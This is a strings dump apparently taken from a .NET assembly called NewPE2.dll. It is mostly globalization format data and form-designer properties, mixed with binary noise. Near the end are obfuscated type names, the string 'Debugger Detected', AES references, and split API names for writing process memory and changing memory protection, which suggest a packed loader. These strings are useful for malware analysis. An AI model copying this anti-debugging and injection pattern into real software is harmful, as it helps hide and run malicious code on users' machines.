m_isReadOnly
compareInfo
textInfo
numInfo
dateTimeInfo
calendar
m_dataItem
cultureID
m_name
m_useUserOverride
System.Globalization.CompareInfo
System.Globalization.TextInfo%System.Globalization.NumberFormatInfo'System.Globalization.DateTimeFormatInfo&System.Globalization.GregorianCalendar
System.Globalization.CompareInfo
m_name
win32LCID
culture
m_SortVersion
System.Globalization.SortVersion
System.Globalization.TextInfo
m_listSeparator
m_isReadOnly
m_cultureName
customCultureName
m_nDataItem
m_useUserOverride
m_win32LangID
%System.Globalization.NumberFormatInfo"
numberGroupSizes
currencyGroupSizes
percentGroupSizes
positiveSign
negativeSign
numberDecimalSeparator
numberGroupSeparator
currencyGroupSeparator
currencyDecimalSeparator
currencySymbol
ansiCurrencySymbol
nanSymbol
positiveInfinitySymbol
negativeInfinitySymbol
percentDecimalSeparator
percentGroupSeparator
percentSymbol
perMilleSymbol
nativeDigits
m_dataItem
numberDecimalDigits
currencyDecimalDigits
currencyPositivePattern
currencyNegativePattern
numberNegativePattern
percentPositivePattern
percentNegativePattern
percentDecimalDigits
digitSubstitution
isReadOnly
m_useUserOverride
m_isInvariant
validForParseAsNumber
validForParseAsCurrency
Infinity
-Infinity
'System.Globalization.DateTimeFormatInfo+
m_name
amDesignator
pmDesignator
dateSeparator
generalShortTimePattern
generalLongTimePattern
timeSeparator
monthDayPattern
dateTimeOffsetPattern
calendar
firstDayOfWeek
calendarWeekRule
fullDateTimePattern
abbreviatedDayNames
m_superShortDayNames
dayNames
abbreviatedMonthNames
monthNames
genitiveMonthNames m_genitiveAbbreviatedMonthNames
leapYearMonthNames
longDatePattern
shortDatePattern
yearMonthPattern
longTimePattern
shortTimePattern
allYearMonthPatterns
allShortDatePatterns
allLongDatePatterns
allShortTimePatterns
allLongTimePatterns
m_eraNames
m_abbrevEraNames
m_abbrevEnglishEraNames
optionalCalendars
m_isReadOnly
formatFlags
CultureID
m_useUserOverride
bUseCalendarInfo
nDataItem
m_isDefaultCalendar
m_dateWords
&System.Globalization.GregorianCalendar
(System.Globalization.DateTimeFormatFlags
dddd, dd MMMM yyyy
MM/dd/yyyy
yyyy MMMM
HH:mm:ss
(System.Globalization.DateTimeFormatFlags
value__
&System.Globalization.GregorianCalendar
m_type
m_currentEraValue
twoDigitYearMax
Calendar+m_currentEraValue
Calendar+m_isReadOnly
Calendar+twoDigitYearMax
+System.Globalization.GregorianCalendarTypes
+System.Globalization.GregorianCalendarTypes
value__
yyyy-MM-dd
hh:mm tt
h:mm tt
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Size
height
DBRfhn M
_CorDllMain
mscoree.dll
)Q71QDAQVQQVYQVaQViQVqQVyQV
Q7LQ7L
Q7|Q7|
.[[.S[.Ka.c~.
.+[.CJ.;[.3[
"!$#%#&%'#(#)#*#+#,#-#.#/#0#1#2#5464748494:4;4<4=4>4?4@4A4B4C4D4E4F4G4H4I4J4K4L4M4N4O4P4Q4R4SRT4U4V4W4X4Y4Z4[4\4^]_]`]a]b]c]d]
System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Security.Cryptography.AesCryptoServiceProvider
System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
ZixOSxEmIdxfInEgRv.mw42r45SqgFPYg9Jme
{11111-22222-10009-11111}
{11111-22222-10009-11112}
Debugger Detected
{11111-22222-50001-00000}
GetDelegateForFunctionPointer
file:///
Location
ResourceA
Virtual
Write
Process
Memory
Protect
Process
Close
Handle
kernel
32.dll
{11111-22222-10001-00001}
{11111-22222-10001-00002}
{11111-22222-20001-00001}
{11111-22222-20001-00002}
{11111-22222-30001-00001}
{11111-22222-30001-00002}
{11111-22222-40001-00001}
{11111-22222-40001-00002}
{11111-22222-50001-00001}
{11111-22222-50001-00002}
EUO6PVPhBs9oAUix7R.PP9MTWaRrjTQlXUxWo
$this.SnapToGrid
$this.TrayLargeIcon
$this.Icon
$this.Locked
$this.DrawGrid
progressBar1.Modifiers
$this.Localizable
$this.Language
$this.GridSize
$this.TrayHeight
progressBar1.Locked
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
NewPE2
FileVersion
1.0.0.0
InternalName
NewPE2.dll
LegalCopyright
Copyright
2022
LegalTrademarks
OriginalFilename
NewPE2.dll
ProductName
NewPE2
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0